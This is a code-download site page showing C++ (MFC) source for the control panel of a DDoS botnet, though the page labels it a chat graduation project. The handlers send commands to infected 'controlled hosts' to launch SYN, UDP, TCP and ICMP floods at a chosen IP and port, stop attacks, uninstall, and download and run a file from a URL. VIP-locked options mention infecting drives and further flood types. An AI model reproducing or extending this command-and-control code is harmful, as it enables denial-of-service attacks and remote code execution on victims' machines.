⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄

📁 聊天毕业设计很重要的东西 需要认真学习
💻
📖 第 1 页 / 共 2 页
字号:

///////////////////////////////////////////////////////////////////////////////////
//////////卸载全部
void CMyDlg::OnButtonRemove() 
{
	if (MessageBox("真的要卸载吗?","卸载",MB_YESNO) == IDNO)
		return;
	data="REMOVE";
	int n=m_ListCtrl.GetItemCount();
	for(int i=0;i<n;i++)
	{
		if (m_ListCtrl.GetCheck(i))
		{
			int id = (int)m_ListCtrl.GetItemData(i);
			if (index[id] == 1)
			{
				if (!ClientSock[id].Send(data.GetBuffer(0),data.GetLength()+1))
				{
					index[id]=-1;
					ClientSock[id].Close();
					return;
				}
			}
			else
			{
				index[id]=-1;
				ClientSock[id].Close();
				m_ListCtrl.DeleteItem(i);
			}
		}
	}
	SetDlgItemText(IDC_SHOW,"选择被控主机成功卸载");
}

///////////////////////////////////////////////////////////////////////////////////
//////////开始攻击
void CMyDlg::OnButtonFlood()
{
	UpdateData(TRUE);
	CString pt="";
	if (m_syn)
		pt = "syn_";
	if(m_udp)
		pt += "udp_";
	if(m_tcp)
		pt += "tcp_";
	if(m_icmp)
		pt += "icmp_";

	data.Format("FLOOD:%s|%d|%d|%s|%s",m_tgtip.GetBuffer(0),m_tgtport,m_timeout,pt.GetBuffer(0),m_getobj.GetBuffer(0));
	
	int n=m_ListCtrl.GetItemCount();
	for(int i=0;i<n;i++)
	{
		if (m_ListCtrl.GetCheck(i))
		{
			int id = (int)m_ListCtrl.GetItemData(i);
			if (index[id] == 1)
			{
				ClientSock[id].Send(data.GetBuffer(0),data.GetLength()+1);
			}
		}
	}
	SetDlgItemText(IDC_SHOW,"选择主机进入攻击状态");
}
///////////////////////////////////////////////////////////////////////////////////
//////停止攻击
void CMyDlg::OnButtonStop() 
{
	UpdateData(TRUE);
	data="STOPATTACK";

	int n=m_ListCtrl.GetItemCount();
	for(int i=0;i<n;i++)
	{
		if (m_ListCtrl.GetCheck(i))
		{
			int id = (int)m_ListCtrl.GetItemData(i);
			if (index[id] == 1)
			{
				ClientSock[id].Send(data.GetBuffer(0),data.GetLength()+1);
			}
		}
	}
	SetDlgItemText(IDC_SHOW,"选择被控主机已停止攻击");
}
///////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////
/////////其他功能
void CMyDlg::OnButtonDownload() 
{
	UpdateData(TRUE);
	if (m_extraurl.Find("http://www.yn.com/exe/htm/asp")>=0)
		return;

	data.Format("DOWNLOAD:%s",m_extraurl.GetBuffer(0));
	int n=m_ListCtrl.GetItemCount();
	for(int i=0;i<n;i++)
	{
		if (m_ListCtrl.GetCheck(i))
		{
			int id = (int)m_ListCtrl.GetItemData(i);
			if (index[id] == 1)
			{
				if (!ClientSock[id].Send(data.GetBuffer(0),data.GetLength()+1))
				{
					index[id]=-1;
					ClientSock[id].Close();
				}
			}
			else
			{
				index[id]=-1;
				ClientSock[id].Close();
				m_ListCtrl.DeleteItem(i);
			}
		}
	}
	SetDlgItemText(IDC_SHOW,"选择主机远程下载文件运行成功");
}

void CMyDlg::OnButtonUpdatedata() 
{
	UpdateData(TRUE);
	SetDlgItemText(IDC_SHOW,"马上加入VIP,享受此功能");
	/*
	data.Format("UPDATEDATA:%s",m_extraurl.GetBuffer(0));
	int n=m_ListCtrl.GetItemCount();
	for(int i=0;i<n;i++)
	{
		if (m_ListCtrl.GetCheck(i))
		{
			int id = (int)m_ListCtrl.GetItemData(i);
			if (index[id] == 1)
			{
				if (!ClientSock[id].Send(data.GetBuffer(0),data.GetLength()+1))
				{
					index[id]=-1;
					ClientSock[id].Close();
					return;
				}
			}
			else
			{
				index[id]=-1;
				ClientSock[id].Close();
				m_ListCtrl.DeleteItem(i);
			}
		}
	}
	SetDlgItemText(IDC_SHOW,"选择主机的服务端更新成功");
	//*/
	
}
//其他功能 完毕
///////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////
void CMyDlg::OnButtonReflash() 
{
	int num=0;
	for(int i=0;i<number_host;i++)
	{
		if (index[i] == 1)
		{
			if (!ClientSock[i].Send("1",1))
			{
				index[i]=-1;
				ClientSock[i].Close();
				DeleteHost(i);
			}
			else
				num++;
		}
		else
		{
			index[i]=-1;
		}
	}
	int  n= m_ListCtrl.GetItemCount();
		for(int a=0;a<n;a++)
			m_ListCtrl.SetItemText(a,3,"无命令");

	SetDlgItemInt(IDC_UPHOST,num,TRUE);
}

void CMyDlg::OnTimer(UINT nIDEvent) 
{
	if (nIDEvent == 1)
	{
		int num=0;
		for(int i=0;i<number_host;i++)
		{
			if (index[i] == 1)
			{
				if (!ClientSock[i].Send("1",1))
				{
					index[i]=-1;
					ClientSock[i].Close();
					DeleteHost(i);
				}
				else
					num++;
			}
			else
			{
				index[i]=-1;
			}
		}
	}
	SetDlgItemInt(IDC_UPHOST,m_ListCtrl.GetItemCount(),TRUE);
	CDialog::OnTimer(nIDEvent);
}

void CMyDlg::OnCancel() 
{
	if (MessageBox("真的要退出吗?","退出",MB_YESNO) == IDNO)
		return;
	for(int i=0;i<number_host;i++)
	{
		if (index[i] == 1)
		{
			closesocket(ClientSock[i].m_hSocket);
		}
	}

	WSACleanup();
	CDialog::OnCancel();
}

void CMyDlg::OnCheckAllsel() 
{
	UpdateData(TRUE);
	if (m_selall)
	{
		int n=m_ListCtrl.GetItemCount();
		for(int i=0;i<n;i++)
		{
			m_ListCtrl.SetCheck(i,TRUE);
		}
	}
	else
	{
		int n=m_ListCtrl.GetItemCount();
		for(int i=0;i<n;i++)
		{
			m_ListCtrl.SetCheck(i,FALSE);
		}
	}
}

void CMyDlg::CommandOK(int id)
{
	int n=m_ListCtrl.GetItemCount();
	for(int i=0;i<n;i++)
	{
		int idndex = (int)m_ListCtrl.GetItemData(i);
		if (id == idndex)
		{
			m_ListCtrl.SetItemText(i,3,"成功");
		}
	}
}

void CMyDlg::OnCheckW2000() 
{
	MessageBox("加入VIP,享受此服务","VIP");
	m_2k=FALSE;
	CButton *b = (CButton *)GetDlgItem(IDC_CHECK_W2000);
	b->SetCheck(0);	
	/*
	UpdateData(TRUE);
	if (!m_2k)//取消
	{
		int n=m_ListCtrl.GetItemCount();
		for(int i=0;i<n;i++)
		{
			if (m_ListCtrl.GetItemText(i,1).Compare("Win 2000")==0 || m_ListCtrl.GetItemText(i,1).Compare("Win XP")==0)
			{
				m_ListCtrl.SetCheck(i,FALSE);
			}
		}
	}
	else//选择
	{
		int n=m_ListCtrl.GetItemCount();
		for(int i=0;i<n;i++)
		{
			if (m_ListCtrl.GetItemText(i,1).Compare("Win 2000")==0 || m_ListCtrl.GetItemText(i,1).Compare("Win XP")==0)
			{
				m_ListCtrl.SetCheck(i,TRUE);
			}
		}
	}
	*/
}

void CMyDlg::OnCheckSp2() 
{
	UpdateData(TRUE);
	if (!m_sp2)//取消
	{
		int n=m_ListCtrl.GetItemCount();
		for(int i=0;i<n;i++)
		{
			if (m_ListCtrl.GetItemText(i,1).Compare("Win XP SP2")==0 || m_ListCtrl.GetItemText(i,1).Compare("Win 2003")==0)
			{
				m_ListCtrl.SetCheck(i,FALSE);
			}
		}
	}
	else//选择
	{
		int n=m_ListCtrl.GetItemCount();
		for(int i=0;i<n;i++)
		{
			if (m_ListCtrl.GetItemText(i,1).Compare("Win XP SP2")==0 || m_ListCtrl.GetItemText(i,1).Compare("Win 2003")==0)
			{
				m_ListCtrl.SetCheck(i,TRUE);
			}
		}
	}
}

void CMyDlg::OnButtonFindip() 
{
	UpdateData(TRUE);
	int n=m_ListCtrl.GetItemCount();
	for(int i=0;i<n;i++)
	{
		if (m_ListCtrl.GetItemText(i,0).Compare(m_findip)==0)
		{
			m_ListCtrl.SetHotItem(i);
			m_ListCtrl.SetCheck(i);
			SetDlgItemText(IDC_SHOW,"该IP存在,请查看");
			return;
		}
	}
	SetDlgItemText(IDC_SHOW,"该IP不存在");	
}

void CMyDlg::OnCheckCover() 
{
	MessageBox("公布版默认只能感染D盘。加入VIP,享受此服务","VIP");
	CButton *b = (CButton *)GetDlgItem(IDC_CHECK_COVER);
	b->SetCheck(0);	
}

void CMyDlg::OnCheckTcpbreak() 
{
	MessageBox("加入VIP,享受此服务","VIP");
	m_break=FALSE;
	CButton *b = (CButton *)GetDlgItem(IDC_CHECK_TCPBREAK);
	b->SetCheck(0);	
}

void CMyDlg::OnCheckGet() 
{
	MessageBox("加入VIP,享受此服务","VIP");
	m_get=FALSE;
	CButton *b = (CButton *)GetDlgItem(IDC_CHECK_GET);
	b->SetCheck(0);	
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -